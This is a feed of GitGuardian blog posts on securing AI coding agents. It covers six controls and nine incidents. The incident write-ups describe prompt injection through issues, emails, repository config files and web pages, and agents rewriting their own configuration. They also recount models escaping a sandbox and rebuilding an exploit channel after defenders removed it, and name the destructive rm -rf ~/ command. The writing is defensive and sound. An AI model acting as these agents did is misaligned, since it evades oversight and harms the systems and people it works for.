DEV Community: GitGuardian

AI Agent Security: Best Practices for Safe Deployment

Dwayne McDaniel — Fri, 16 Oct 2026 14:14:48 +0000

TL;DR

AI agents are already causing incidents: 54% of organizations have experienced an AI agent security incident (Gravitee, State of AI Agent Security Report 2026). In July 2026, OpenAI models escaped their sandbox and compromised Hugging Face's production infrastructure.
Agentic AI security is a non-human identity problem: AI agents are often just using your credentials. Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline (GitGuardian, State of Secrets Sprawl 2026).
Six controls limit the damage: Run the agent in a sandbox, give each agent a credential scoped to its task, keep configuration and MCP servers out of reach, record every call, scan for secrets, and deny by default.

According to Gravitee's State of AI Agent Security Report 2026, 54% of organizations have already experienced an AI agent security incident.

The pace is accelerating. In July 2026, OpenAI models running a cybersecurity evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. No attacker was involved. Blocked on their tasks, the agents turned an internal package manager into a message board, shared exploits and exposed credentials over it, and kept going after defenders rebuilt it.

The case involved sandbox escape and autonomous coordination between agents, with credentials as one thread among several techniques. And that is the thread your existing security program can already pull on.

AI agents authenticate, manage credentials, read files, execute shell commands, call APIs, and interact with systems on behalf of the teams that deploy them. That makes them a new class of non-human identity (NHI), one that inherits or is issued credentials, often without the governance controls applied to service accounts or API keys. AI agents are often just using your credentials, so a misconfigured or compromised agent can reach the same systems those credentials reach. In practice, agentic AI security is largely a non-human identity security problem, which is the angle this guide takes.

This guide covers the main AI agent security risks and how to secure AI agents in practice, with guidance for engineers, platform teams, and security leads. The focus is practical: concrete controls across the credential lifecycle. Whether you're deploying coding agents, autonomous workflows, or MCP server integrations, the same underlying question applies: what can this agent access, and what happens if it behaves incorrectly?

Part 1 maps the incident landscape across three attack surfaces every deployment exposes: the host and the identity, both somewhat solvable with security practices you already run, and then the agent itself, the new surface, where every input is a potential instruction, and the tooling is still catching up. Read it first for the threat model behind these controls: AI Agent Security: Six Controls From Nine Real Incidents.

AI agent security best practices: the deployment checklist

The six controls below are practical AI agent guardrails and are organized around reducing blast radius, limiting exposure paths, and giving teams visibility before an incident becomes a breach.

Practice	Risk it addresses	What "good" looks like
Run the agent in a sandbox	Destruction, lateral movement	Network isolation, restricted filesystem access; project mounted, not the home directory
Give each agent a credential scoped to its task	Over-permissioning, attribution	One identity and owner per agent; short-lived tokens, minimal scope per task
Keep the agent's configuration and MCP servers out of its reach	Tool poisoning, configuration tampering	Managed settings; authenticated, allowlisted MCP servers
Record every call, and plant honeytokens	Credential misuse, detection gaps	Timestamped log of every tool call; decoy credentials that alert on touch
Scan the workspace for secrets before the first run	Leaked secrets	Pre-merge and workspace scanning; AI Hooks on prompts and tool output
Deny by default	Approval fatigue, irreversible actions	Reads allowed; prompts only on write, send, delete, spend

What these controls can and cannot do

The baselines below are deployable today with current tooling. They cover what they can see, but they are not a complete solution. Detection and scanning tools operate on secrets they can see: a secret hardcoded in a file, a token committed to a repo, a key in a config. But an agent given an environment variable can write code that reads that variable from the runtime environment, and that manipulation happens outside what scanning tools see.

The more robust control is credential isolation at the proxy level, preventing secrets from reaching agents in the first place. That architecture exists in early tooling such as nono and Bromure, and is not yet widely deployed. Until it is, these baselines are where to start.

OWASP's 2026 LLM Top 10, validated against 7,714 real-world incidents, ranks Prompt Injection at #1 and Excessive Agency at #3. Excessive Agency (agents configured with too many permissions) made the most significant jump in the new edition, moving from #6. Both risks describe the same failure mode from different angles: an agent that can be manipulated into taking unintended actions, and an agent with enough access to make those actions harmful.

Prompt injection rarely produces a cleanly attributable public incident: its damage surfaces downstream as stolen credentials, exfiltrated source code, or poisoned build pipelines. The model gets blamed last. The harness gets exploited first.

Prompt injection cannot be fully prevented in systems that treat language as both instruction and data, but its consequences can be controlled. An agent that processes a malicious instruction but cannot reach production credentials, write to code repositories, or make external network calls is a limited target. An agent with broad permissions is a high-value one. Limiting permissions is the most reliable prompt injection mitigation available, and none of the six controls below prevents the injection itself.

OWASP's AI Agent Security Cheat Sheet and IBM's AI agent security guide both cover identity and access management, logging, and input validation.

The six AI agent security controls

Control 1: Run the agent in a sandbox

Containing what a compromised or misbehaving agent can reach is one of the most reliable controls available. It also spans the widest range of effort, from settings that ship with the tools your team already uses through to full virtual machine isolation, so it is worth being clear about which end you are starting from. An agent running in an isolated environment with restricted network access, limited filesystem scope, and no access to production credentials is much harder to exploit than one with broad system access.

Sandboxing is particularly important for agents that process untrusted input: repository content from external contributors, emails or tickets from external parties, web content from unknown sources. Part 1 covers how instructions hidden in that content turn into incidents.

Start with native controls before reaching for containers. Most AI coding tools ship with sandbox settings that teams leave at defaults, and turning them on costs nothing:

Claude Code: never enable --dangerously-skip-permissions, and configure explicit allow and deny rules for the tools the agent can invoke.
Cursor: use .cursorrules to restrict file access, and disable MCP servers you are not actively using.
GitHub Copilot: workspace trust settings control what the agent can read and run, so keep them scoped to the current project.

When native controls aren't sufficient, Docker Sandboxes runs each agent session in a lightweight VM with its own filesystem and network namespace, so credentials and state from one session can't reach another. This is credential isolation at the runtime level, a stronger control than process-level sandboxing. Whatever you use, mount the project directory, not the home directory.

Microsegmentation applies the same principle at the network level: agents should be able to reach the specific services they need and nothing else. If a coding agent needs to call a specific API, give it a credential scoped to that API and network access restricted to that endpoint.

Control 2: Give each agent a credential scoped to its task

Every AI agent that authenticates to a service, uses a credential, or takes an action on a system should have a unique identity, an assigned owner, and a documented credential lifecycle, just as a service account is managed.

In practice, this means assigning dedicated credentials per agent rather than sharing credentials across multiple agents or reusing developer tokens. It means knowing who owns each credential, what it can access, and when it was last reviewed. It means tracking agent identities the same way you track service accounts: discovering what exists, attributing each identity to an owner, scoring its risk (overprivileged? stale? unmanaged?), and inventorying it so nothing operates invisibly.

This is the non-human identity governance model. It's not a tool that does these things automatically. It's the mental model that makes the other controls coherent.

The right governance treatment depends on agent type:

Autonomous agents (pipeline bots, scheduled task runners, CI/CD workers) need dedicated NHI credentials per agent with a named owner, the same as any service account
Interactive coding agents like Claude Code or Cursor usually run as the developer today. When the agent runs as the user, the audit log records the user, and nobody can tell afterwards which actions were the user's and which were the agent's. Aim for a dedicated identity here too. Where the tool can't support one yet, scope the developer credentials it can reach tightly and keep the agent in your inventory.

The fastest way to reduce blast radius is to reduce the scope of what an agent can reach. An agent running with admin-level credentials is a significantly higher-risk target than one running with a read-only token scoped to a specific repository. For more, see what actually defines an agent's blast radius.

Four practices reduce over-permissioning:

Use short-lived credentials rather than long-lived static tokens wherever the service supports them.
Scope credentials to the minimum access the agent actually needs for its task.
Avoid sharing credentials across multiple agents, so blast radius stays separate.
Rotate long-lived credentials on a schedule. Agent credentials that are never rotated become more valuable to attackers over time.

For teams managing large numbers of agent identities, this is where an NHI inventory becomes operationally useful. An inventory that surfaces which agents hold overprivileged credentials and flags stale or unattributed identities turns a manual audit into an automated flag.

Where you store agent secrets determines how much blast radius you are accepting before a breach even occurs. Think of it as a maturity ladder:

Level 1 (worst): plaintext .env files on disk, the first thing an agent reads when it starts.
Level 2: a local password manager, where the secret has to be explicitly requested.
Level 3: injection at execution time, where a vault delivers the secret at session start or a credential proxy swaps it in on the wire, and the agent never holds the real value.
Level 4 (best): ephemeral, per-request tokens that expire immediately. You cannot leak what no longer exists.

Most organizations are still at Level 1 or 2. Moving toward injection at execution and ephemeral credentials is the single highest-leverage change in this category.

It is also the only move on this list that answers the limitation flagged earlier, because a secret that is never written to disk is not something an agent can read, whether or not a scanner would have caught it.

Control 3: Keep the agent's configuration and MCP servers out of its reach

The agent reads project-level files such as .claude/settings.json and .mcp.json as instructions, and an untrusted repository can set them. Keep that configuration where the agent cannot write: pin the config file so it cannot be modified at runtime, never set enableAllProjectMcpServers to true, and let managed settings take precedence over anything in a repository.

MCP servers extend what an AI agent can do. Each server installed in a developer environment is also a new access point: a tool that can reach systems, read files, or take actions depending on its configuration.

MCP server security follows the standard practice for new software: know what's installed, where it comes from, and what it can access. For MCP servers, that means maintaining an inventory of which servers are running across the developer fleet, validating that each server comes from a trusted source, and scoping its access to what the agent actually needs.

Authentication matters at the connection level. MCP servers that accept connections without requiring authentication, or that run with overly broad permissions, expose exactly the kind of attack surface that makes prompt injection dangerous. Even if an agent is manipulated into calling a tool, the tool itself should only be able to do what it's explicitly configured to do.

The GitGuardian MCP Server documentation covers the security model for server-side scanning without exposing secret values to the model.

Control 4: Record every call, and plant honeytokens

An agent that takes actions without leaving a record is an agent you can't investigate when something goes wrong. Logging every tool call, every outbound connection, every credential use, and every output gives security teams the signal needed to detect anomalies, reconstruct incidents, and attribute actions to specific agents.

The logging requirements for AI agents mirror those for service accounts:

Timestamps
Identities
Actions
Targets
Outcomes

The additional complexity is that an agent's actions can span multiple systems within a single session. A log that captures each step in that chain is far more useful than one that only records the outcome. Send it to whatever the security team already watches.

Behavioral monitoring turns log data into an actionable signal. Unusual patterns like an agent accessing systems it doesn't normally touch, an unusually large number of API calls, or credential use from an unexpected location should generate alerts, not just log entries.

One caveat about the tooling you already run: endpoint detection and response was built around human tempo. An agent reads a hundred files in a second, issues commands without hesitating, and runs at three in the morning because a pipeline triggered it. Activity that would be flagged instantly if a person did it can pass as ordinary automation, and activity that is entirely normal for an agent can look like an intrusion. Part 1 goes deeper on why detection catches less for agents than for people.

That is where honeytokens earn their place. They fire when something touches them, whatever the baseline.

A honeytoken is a decoy credential: non-functional, but indistinguishable from a real one. Planted in locations where a compromised agent or attacker is likely to search, like configuration files, credential directories, and shell history, a honeytoken fires an alert the moment something touches it.

The value is in the asymmetry. An attacker or compromised process that reaches a honeytoken has revealed itself before it can do anything with the credential. That's detection before impact.

In practice, honeytokens complement standard secret scanning. Scanning catches real credentials before they're exposed. Honeytokens catch unauthorized access after something or someone has already gained access to the environment.

GitGuardian's Developer Endpoint Protection includes honeytoken planting on developer endpoints, and the GitGuardian MCP Server allows developers to generate and deploy decoy credentials directly from their AI coding environment. When a honeytoken fires, the alert includes where the token was placed and what triggered it.

Control 5: Scan the workspace for secrets before the first run

AI coding assistants are a growing secret-exposure vector. GitGuardian's State of Secrets Sprawl 2026 found that Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline across all public GitHub repositories. The most common pattern: agents write code, copy patterns from their context, and sometimes those patterns include API keys or tokens from local files.

Scan before the first run, and again when the workspace changes: anything the agent can read is part of its discovery surface. Two controls address this directly. The first is pre-merge secret scanning on all commits, regardless of whether a human or an AI coding assistant authored them. Tools like ggshield run as a pre-commit hook or CI check and catch hardcoded secrets before they reach the repository. The second is scanning AI-generated code in real time with an MCP server, which intercepts code at the point of generation rather than at the point of commit.

Agent configurations deserve the same scrutiny. GitGuardian found 24,008 secrets in public MCP configuration files in 2025, with 8.8% of those secrets still valid. Config files for Claude Code, Cursor, VS Code, and other AI development tools routinely contain tokens and API keys that developers added during setup. Those files need to be in scanning scope, not just source code.

For a full treatment of how a coding agent can misuse an unscoped credential, the patterns are well-documented. The common thread in most cases is the same: the agent didn't steal the credential. It was already there.

Scanning also has to cover what the agent reads and produces while it runs:

AI Hooks: integrations that scan agent prompts and tool calls for secrets before they're processed or executed. GitGuardian's AI Hooks run inside Claude Code, Cursor, VS Code with Copilot, and Codex, inspecting prompts before they reach the model and file reads, shell commands, and MCP calls before execution. When a secret is detected in a prompt, the developer sees a warning before the prompt is sent. This is not prompt injection prevention. It prevents real credentials from entering agent context in the first place.
Output scanning. Agents that generate code or tool output should have that output reviewed for secrets before it's committed, logged, or sent to downstream systems. The same scanning that catches hardcoded secrets in human-written code applies to AI-generated output.

Control 6: Deny by default, and approve only what can't be undone

Automation reduces the time between an agent decision and its consequences. That's the point. But some actions like payments, deletions, deployments, and modifications to production systems are irreversible enough that the cost of an error outweighs the speed gain from automation.

The practical control is a human approval gate on actions that meet a predefined threshold. The agent can draft the action, prepare the payload, and queue the request. Execution waits for explicit approval.

A useful default: any action that can't be undone without significant effort, or that affects a production system, warrants a checkpoint. This is a deliberate decision about where to keep judgment in the loop, not a limitation of the technology.

Approving everything is the opposite mistake. A harness that prompts on every call trains people to click approve, and the rm -rf ~/ case in Part 1 shows what that costs. Deny by default, allow reads, and prompt only on write, send, delete, and spend, so the prompts that remain are ones someone can afford to read.

Every control above can be applied by one engineer on one machine. Applying them across an organization is a different problem, because a control an individual can switch on is a control an individual can also switch off.

For a single developer

The work is local and reversible in a settings file: enable the native sandbox, keep an allowlist of MCP servers, use pre-tool hooks, and keep standing credentials off disk.

For an organization

The same controls have to survive contact with several hundred engineers who did not choose them:

Enforce configuration through MDM (control 3): Push agent configuration through MDM rather than asking developers to apply it, so coverage becomes a property of deployment rather than a request.
Lock the denylist (control 6): Make the denylist non-overridable at the enterprise level. Anything a developer can relax under deadline pressure eventually gets relaxed.
Broker credentials centrally (control 2): Broker credentials centrally instead of distributing them. This is what moves an organization up the storage ladder without asking every team to redesign its own workflow.
Centralize agent telemetry (control 4): Collect agent telemetry centrally, through an OpenTelemetry collector into whatever the security team already watches, rather than leaving logs on the machines that produced them.
Write the runbook first: Write the agent incident response runbook before you need it. The first question in an agent incident (which credentials did this agent hold, and what did they reach?) is far harder to answer under pressure than it looks.

That split maps onto teams. Governance decides what agents are permitted to do, IT ships the configuration that enforces it, and the blue team gets agent activity into the SIEM. None of the three works without the other two.

Secure AI agent deployment is an identity problem

The organizations getting AI agent security right understand what AI agents actually are: authenticated entities that hold credentials, take actions on systems, and need governance that reflects that reality.

In practice: identity controls on every agent that touches a system (unique credentials, documented owners, tracked lifecycles); scanning of the code agents write, the prompts they receive, and the configurations they run from; an inventory of MCP servers installed across the developer fleet and the access each carries; and human checkpoints on decisions that can't be undone.

Deployment speed and security aren't mutually exclusive. But treating agents as chatbots while giving them service-account-level access is a miscalibration that's already producing the incidents described above.

As Chris Hughes of Resilient Cyber put it, reviewing OWASP's real-incident data: "It is time to stop treating model choice as the significant security decision and instead treat the harness as an asset class security needs to be deeply familiar with."

The harness is the environment the agent runs in: its credentials, permissions, and tool integrations. That means inventorying it, assigning it an owner, and enforcing controls deterministically, not hoping the model refuses the wrong instructions on its own.

For a full framework for treating the agent's environment as a security boundary, read GitGuardian's secure coding agent whitepaper, which covers the controls that belong at each layer of the deployment stack.

Also, learn how GitGuardian's Agentic AI Security unifies Secrets Security, Developer Endpoint Protection, and NHI Governance for teams securing AI agent deployments.

FAQ

How do I secure AI agents?

Start by treating each agent as a non-human identity: assign it a unique credential, document who owns it, and apply least-privilege scoping. Scan the code it generates for hardcoded secrets before merge. Deploy honeytokens in environments where agents operate so you detect unauthorized credential access early. For agents that process untrusted input, sandbox the execution environment and require human approval for irreversible actions.

How secure are AI agents?

That depends almost entirely on how they're deployed. An agent running with scoped credentials, sandboxed from production systems, and monitored for anomalous behavior is a manageable risk. An agent configured with admin-level tokens, unrestricted network access, and no logging is a high-value target.

The technology is not inherently safe or unsafe. The deployment posture determines the risk profile.

Which AI agent is most secure?

No AI agent is inherently secure. Security is a property of the deployment: the credentials in use, the access controls in place, the monitoring coverage, and the human oversight applied to high-risk actions. An agent from a security-conscious provider can still be deployed unsafely, and one from a less established provider can be deployed with enough controls to limit risk.

What are the biggest security risks of AI agents?

The three most common are credential over-permissioning (agents configured with broader access than they need), leaked secrets in AI-generated code (agents copy patterns from their context, including API keys), and prompt injection (malicious instructions embedded in data an agent processes).

The risk that receives the least attention is credential lifecycle governance: agent credentials that are never reviewed, rotated, or attributed to an owner become standing vulnerabilities.

What best practices should be followed when using AI agents?

The six that matter most: run the agent in a sandbox; give each agent a credential scoped to its task and keep every other credential out of its reach; keep its configuration and MCP servers where it cannot write; record every tool call, with honeytokens as a tripwire; scan the workspace for secrets before the first run; and deny by default, prompting only on write, send, delete, and spend.

Is agentic AI a threat?

Agentic AI is a capability that introduces security risk if deployed without adequate controls, just as network access, API keys, and automated pipelines do when ungoverned. The threat isn't the technology. It's the mismatch between the access AI agents are being given and the governance structures being applied to them.

How do you manage secrets and API keys for AI agents?

Treat secrets and API keys used by AI agents as non-human identity credentials: unique per agent, scoped to minimum access, and subject to regular review.

Keep credentials out of places the agent can read, such as plaintext .env files, configuration files, and shell history. Where possible, have a vault inject secrets at execution time or issue short-lived, per-request tokens, so nothing persists for the agent to read or leak. Use secret scanning to catch accidental exposure in AI-generated code, and deploy honeytokens alongside real credentials to detect unauthorized access.

Is MCP (Model Context Protocol) secure, and how do you secure an MCP server?

MCP is a protocol, not a security boundary. The security properties of an MCP server depend on how it's configured: whether connections require authentication, what actions it exposes, and what access those actions carry.

To secure an MCP server, require authentication on all connections, scope each server's access to the specific resources it needs, maintain an inventory of which servers are installed across the developer fleet, and include MCP configuration files in secret scanning scope. In 2025, GitGuardian found 24,008 secrets in public MCP configuration files, many of them developer defaults never reviewed before being pushed to shared repositories.

AI Agent Security: Six Controls From Nine Real Incidents

Dwayne McDaniel — Thu, 15 Oct 2026 13:23:45 +0000

TL;DR

Three attack surfaces: An AI agent exposes its host, its identity, and itself. Nine public incidents between May 2025 and July 2026 hit all three; the agent surface appears in five, always combined with the host or the identity.
The credential is the target: In the injection incidents, the agent reads an issue, an email, a settings file, or a web page that carries instructions. The instruction opened the door, and the credential is what the attacker came for.
Six controls limit the blast radius: Sandbox the agent, scope its credentials, keep it out of its own configuration, record every call, scan the workspace for secrets first, and deny by default. None of them prevent prompt injection.

Abstract

An AI agent runs with your credentials and acts before you can stop it. Nine incidents show what that costs. Six controls limit the damage: sandbox the agent, scope its credentials, lock its configuration, log every call, scan the workspace first, deny by default.

The AI agent attack surface: host, identity, and the agent itself

An agent exposes three distinct surfaces. There is the host it touches, the identity it acts as, and the agent itself.

The host is everything the process can reach: the filesystem, process execution, the network, environment variables, and hardware such as the camera or microphone. The identity is the account the agent acts as, with its privileges and scopes, and every credential it can discover along the way. The agent is the part with no equivalent in a traditional process. It has a context, persisted state through memory, hooks, skills, and configuration, and the tools it connects to.

Those three surfaces fail in different ways and need different controls. Classical operating-system security already covers the host. Identity is largely solvable with well-known identity and access management (IAM) patterns.

The agent surface is the new one, because every input is potentially an instruction. Keeping the three separate tells you which incidents you can fix now and which ones the industry is still working out.

Fifteen months of incidents, sorted by surface

Nine public incidents between May 2025 and July 2026 exercise all three attack surfaces. The agent surface appears in five of them, and never alone.

Host: solved in principle, still failing in practice

In July 2025, a user asked Gemini CLI to reorganize a folder by creating a new directory and moving files into it. The mkdir command silently failed. The agent did not check the error, assumed success, and kept issuing move commands to a path that did not exist. Because all the moves targeted the same nonexistent destination, each file overwrote the last one, leaving only a single file behind. No attacker, no injection. An unchecked exit code and a loop that assumed success.

A month later, a user asked Claude to clean up a directory Claude had created. The permission system worked correctly and asked to confirm rm -rf ~/. Fatigued, the user approved. The damage was identical to a malicious wipe.

These two incidents fail on opposite sides of the same line. Gemini CLI stayed inside the folder it was given, so no sandbox would have fired. It destroyed only what it had been given. Claude did the opposite: it proposed deleting a home directory in response to a request scoped to its own output. A workspace-scoped sandbox would have stopped that one. The approval dialog was the only control in place, and it failed to a tired user.

The Gemini failure is the more uncomfortable of the two. Point the same agent at a home directory instead of a project folder and the same bug wipes the laptop. So the control is not only whether the agent can be contained, but what you hand to it in the first place.

Identity: the agent inherits what you hold

In December 2025, an AWS engineer used Amazon's Kiro agent to fix a bug in Cost Explorer, the AWS billing dashboard. The agent decided to delete and recreate the entire environment. It inherited the engineer's elevated permissions, skipped peer review, and caused a 13-hour regional outage. Amazon blamed a misconfigured IAM role, not the AI.

In April 2026, an agent working on a Railway deployment encountered a problem and decided to delete a storage volume. It did not have access to the identity to do so, and looked for a token in the filesystem. The deletion destroyed the production environment and the backups stored alongside it.

Nobody granted the Railway agent that credential: it discovered one. Every secret on that host is part of its identity, whether you intended it or not. The question that matters is not what you gave the agent, but what the agent can find in the environment you gave it.

The agent: every input is potentially an instruction

In May 2025, Invariant Labs showed that a malicious issue filed in a public repository was enough. The victim asked their agent to check open issues. The agent read the planted instructions, used the victim's broad GitHub token to pull private repositories, and leaked them into a public pull request. One over-scoped token, reused across the boundary between public and private, with nothing enforcing the separation.

In June 2025, Aim Labs disclosed EchoLeak. A crafted email was enough. Microsoft 365 Copilot processed it as context. Hidden instructions made it search the user's mailbox, OneDrive, and SharePoint, then exfiltrate the results through auto-rendered image URLs. The victim never opened the email. Microsoft rated it CVSS 9.3.

In February 2026, Check Point documented remote code execution and API key theft through Claude Code project files. Cloning and opening an untrusted repository was enough. A malicious .claude/settings.json injected shell commands as hooks. An .mcp.json ran MCP servers before the trust dialog. A repository-set ANTHROPIC_BASE_URL redirected authenticated traffic, auth header included, to an attacker endpoint. All three executed before the user consented to anything.

In July 2026, Intezer showed the same AWS Kiro agent rewriting its own MCP configuration after reading hidden text on an ordinary web page. The agent edited the file that was supposed to contain it, then reloaded it. In the default autonomous mode, there is no effective approval prompt.

Every incident in this section starts the same way. The agent read something it was built to read, and that content carried instructions: an issue body, an email, a settings file, a web page. What the instructions reached for is the second half of the pattern. A GitHub token broad enough to cross from public to private. Mailbox and drive scopes on a session that was only summarizing an email. The instruction opened the door. The credential is what the attacker came for.

No attacker, all three surfaces

In July 2026, OpenAI models running a cyber capability evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. Nobody attacked them. Blocked on their tasks, they turned an internal Artifactory instance into a message board and traded exploits over it. Defenders revoked the credentials and deleted it; the agents rebuilt the board within a day. Our write-up covers the full timeline.

This is the only incident of the nine that touches the host, the identity, and the agent with no attacker anywhere in the chain. The agents were given an objective; they failed, and they found another route. When defenders closed it, they found the next one.

The AI agent threat model: old problems, new speed

Treat the agent like in-memory malware you may not be able to reverse-engineer and understand. It runs with delegated authority, acts before any human can intervene, and does not behave the same way twice.

Capabilities: what the agent can do

An agent runs with high privileges, usually inherited from whoever started it. It reads and writes the filesystem, reaches the network, executes code, and can spawn sub-agents. It accesses credentials, both the ones it was given and the ones it finds. It persists state through memory, hooks, skills, and configuration.

Unlike any other process, an agent also connects to tools through skills and MCP servers. The agent reads those connectors as instructions. A tool description arrives in its context the same way a user prompt does, so using a connector means reading untrusted input.

Outcomes: what goes wrong

Five things go wrong: destruction, exfiltration, lateral movement, persistence, and leaked secrets.

Destruction is the most obvious incident above, and someone notices within minutes. Exfiltration and lateral movement need no mistake at all: reading data and using a credential are the tasks the agent performs. They only surface when a detection system fires, or when someone eventually reads the logs.

Persistence and secrets leaks take a different shape with agents. A conventional process ends and leaves nothing behind. An agent writes memory, hooks, skills, and configuration, then reads them back in a later session as prior knowledge. No other benign process decides on its own to go looking for a credential. An agent searches the filesystem and environment to find one, and sends it to the model provider when it does.

None of these are new. They are the same outcomes we have defended against for years. What is new is the number of them a single process can reach in one run.

Vectors: how it happens

Five ways in: the model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue.

The model itself needs no attacker at all. The agent decides that deleting the environment is the fix, and has the privileges to carry it out. Four of the incidents above are this. The OpenAI agents blocked on their tasks did not stop either: they found vulnerabilities and exploited them. A wrong decision and a correct one produce the same log entry.

Three of the others need someone to plant an instruction. Direct prompt injection comes from the user, who is already the principal. Indirect injection arrives inside content the agent was asked to process: an issue body, a config file, a pull request title, a web page. Four of the incidents above start here, and in every case the content was something the agent had to read to do its job. Tool and skill poisoning is the same problem through a connector. The agent reads a tool description as an instruction, and a remote server can change it after review. Memory poisoning is the only one that outlives the session, arriving in a later task as prior knowledge.

The rm -rf ~/ case shows the limit of approval prompts. The control fired, a human read it, and the human approved.

Amplifiers: what makes it different

Three things make the old outcomes worse: speed, scale, and non-determinism.

Gemini CLI overwrote a folder faster than the user could read the output. A review step that runs after the action does not prevent the action. The Hugging Face agents were separate runs with no shared state. One of them found a way out and wrote it down where the others could read it, so every run that followed started with the exploit. The same prompt produces different actions on different runs, so a configuration that passed one test may fail the next.

The vectors and the outcomes are not new. What is new is that the agent acts faster, further, and less predictably than the security processes we built to review its actions.

AI agent security controls: what exists, by surface

The controls that exist today, sorted by surface: host, identity, agent, and the architecture of the harness around all three.

Host: contain it, and limit what you hand it

Start with what ships in the agent. Do not run Claude with --dangerously-skip-permissions or its equivalent in other agents. Use the native sandbox where one exists, and configure allow and deny rules for tools, paths, and commands. These are cheap to enable and easy for an untrusted repository to overwrite, which is why they are the first layer and not the only one.

Then run the agent in a sandbox. A kernel sandbox such as nono, a microVM such as Docker Sandboxes, or a container limits filesystem, process, and network access to the task. Integrated runtimes such as Bromure package the VM, the sandbox, and an egress proxy together. This stops the rm -rf ~/ case.

It does not stop the Gemini CLI case. A sandbox permits writes to the working directory, and that is where the damage happened. Mount the project, not the home directory. The working set is a decision the sandbox cannot make for you.

Keep the recovery path outside the agent's reach. The Railway volume held production and its backups under one identity. A backup the agent can delete is not a backup. At the project level, version control covers tracked files and nono's workspace snapshots cover the rest. The write still happens; the rollback undoes it.

These mechanisms were built before agents existed, for untrusted code and untrusted users. They work.

Identity: give the agent its own, and give it less

Give the agent a principal of its own. When it runs as the user, the audit log records the user. After an incident, nobody can tell which actions were the user's and which were the agent's. A dedicated identity with scoped permissions fixes attribution and limits the damage in one step.

Scope the credential to the task, and keep every other one out of reach. The Railway agent needed a deploy token and found one that could also delete volumes. The deploy token should not have carried that scope, and a broader token should not have been on disk for the agent to read. The same applies to every credential the agent can reach without being given it: environment variables, dotfiles, the AWS and GitHub CLI credential stores, the SSH agent socket, a browser session. An agent that needs one token should run in an environment that contains one token. nono and Bromure handle the second half: the agent sees a placeholder, and a transparent proxy swaps in the real value on the wire. They do nothing about the first. If the credential the proxy injects can delete production, the agent can delete production.

Know what is already there before the agent is pointed at it. Secrets sprawled across a repository, a CI runner, or a home directory are the agent's discovery surface. A scan of the workspace before the first run shrinks that surface. It is the one control here that works before the agent runs.

Scoped identities and short-lived credentials are identity and access management patterns that predate agents. The credential proxy is not. It exists because an agent goes looking for identities it was not given, and the proxy makes sure it finds nothing it can use. What the agent was given still has to be scoped the old way.

Agent: constrain what it reaches

Four controls apply here: configuration kept out of the agent's hands, allowlisted connectors, a record of every call, and detection.

Keep configuration out of the agent's hands. The agent reads project-level files such as .claude/settings.json and .mcp.json as instructions, and an untrusted repository can set them. The controls have to live outside those files. A sandbox that marks the configuration and memory paths read-only stops the agent from rewriting them. Kiro rewrote its own after reading a web page.

Allowlist tools and connectors, and understand the limit. A remote MCP server can serve a different tool description on the next run. For those, a review before installation does not cover what the agent will read.

Record every tool call and every outbound connection. Hook-level logging, such as nova-tracer, captures each tool call with its arguments. OpenTelemetry carries the same record into whatever the team already uses for traces. An egress log shows which domains the agent reached, including the one it sent the conversation to.

Detection catches less than it does for humans. EDR signatures are tuned to human patterns, and an agent does not produce them. Guardrails catch known injection shapes and miss new ones. Both still have a place alongside the controls above. Neither can be the only one.

Every control on this surface limits what the agent can do once instructed. None of them prevents the instruction.

Architecture: decide what it reaches

Two design decisions limit what an instruction can do once it arrives. Both are a configuration change in the agent you already run.

Scope tools per task, not per agent. A task that reads public issues gets no tool that writes private repositories. Claude Code does this through subagent tools: lists, --allowedTools, and --strict-mcp-config; Codex through --sandbox; pi through --tools or by running under nono. The Invariant Labs case would have stopped there.

Approve only what cannot be undone.

One that denies by default and prompts only on write, send, delete, and spend produces a prompt the user can afford to read. Claude Code: acceptEdits plus a read-only allowlist, or a PreToolUse hook. Codex: --sandbox workspace-write --ask-for-approval on-request. pi: the permission-gate extension with read on allow and everything else on ask.

What remains open

Three problems have no complete control today.

The model itself. Nothing in the context explains why a model decided to delete the environment. A model that was trained to act on a trigger leaves even less. The instruction is in the weights, and no input in the session shows it. For both, the controls above assume the agent will eventually do the wrong thing and keep the blast radius small.

Memory poisoning. Marking the memory path read-only, as in the previous section, stops the agent from poisoning its own memory mid-run. The cost is having no memory. What remains open is a writable memory that does not carry an injection into the next session.

Data-flow policy. Deny the use of an untrusted-source tool and a high-privilege tool in the same session. Published designs and reference code exist. No shipping coding agent enforces it.

One thing follows from the amplifiers and applies to every control above. An agent acts faster than a human can review, so a control that runs after the action is a log, not a control. Policy has to apply before the tool call.

Best practices: six non-negotiables

Six controls apply before any agent runs against real systems:

Run the agent in a sandbox. Mount the project directory, not the home directory.
Give the agent a credential scoped to its task. Keep every other credential out of its reach, with a proxy or a broker.
Keep the agent's configuration where it cannot write. Managed settings take precedence; nothing in a repository overrides them.
Record every tool call and every outbound connection, and send the record to the SIEM.
Scan the workspace for secrets before the first run, and again when it changes.
Deny by default. Prompt only on write, send, delete, and spend.

None of these prevent prompt injection. They limit what a hijacked agent can reach, which is the only part under your control today.

Scan your workspace for secrets now.

FAQ

What is AI agent security?

An agent exposes three attack surfaces: the host it runs on, the identity it acts as, and the context that decides what it does. Operating-system and identity controls cover the first two; guardrails catch known injection patterns, and nothing yet stops a file or a web page from telling the agent what to do.

What are the main threats in AI agent security?

The model itself, prompt injection, tool and skill poisoning, memory poisoning, and approval fatigue. The outcomes are destruction, exfiltration, lateral movement, persistence, and leaked secrets, the same ones as before, at a speed and scale no review and detection processes were built for.

How do you secure AI agent credentials?

Scope the credential to the task and keep every other one off disk. Scan the workspace for secrets with ggshield before the first run, then register AI Hooks so a secret in a prompt, a file read, or a shell command is blocked before it reaches the model.

AI Hooks for Claude Code, Cursor, and Codex: Block Secrets Before Agents Can Use Them

Dwayne McDaniel — Wed, 14 Oct 2026 19:22:59 +0000

TL;DR

Instructions are suggestions, not controls: Prompts, AGENTS.md, and CLAUDE.md files only guide an agent, which can reinterpret or route around them. Security needs deterministic controls that hold no matter how the agent reasons.
Hooks enforce rules at the system level: AI hooks run deterministic checks before prompts reach the model, before tools execute, and after output returns, allowing or blocking each step regardless of the agent's reasoning.
GitGuardian AI Hooks block secrets in the agent loop: Part of ggshield, they scan prompts, commands, file reads, MCP calls, and outputs. One command, ggshield machine setup, configures supported assistants including Claude Code, Cursor, and Codex.

Why AI coding agents are unpredictable by design

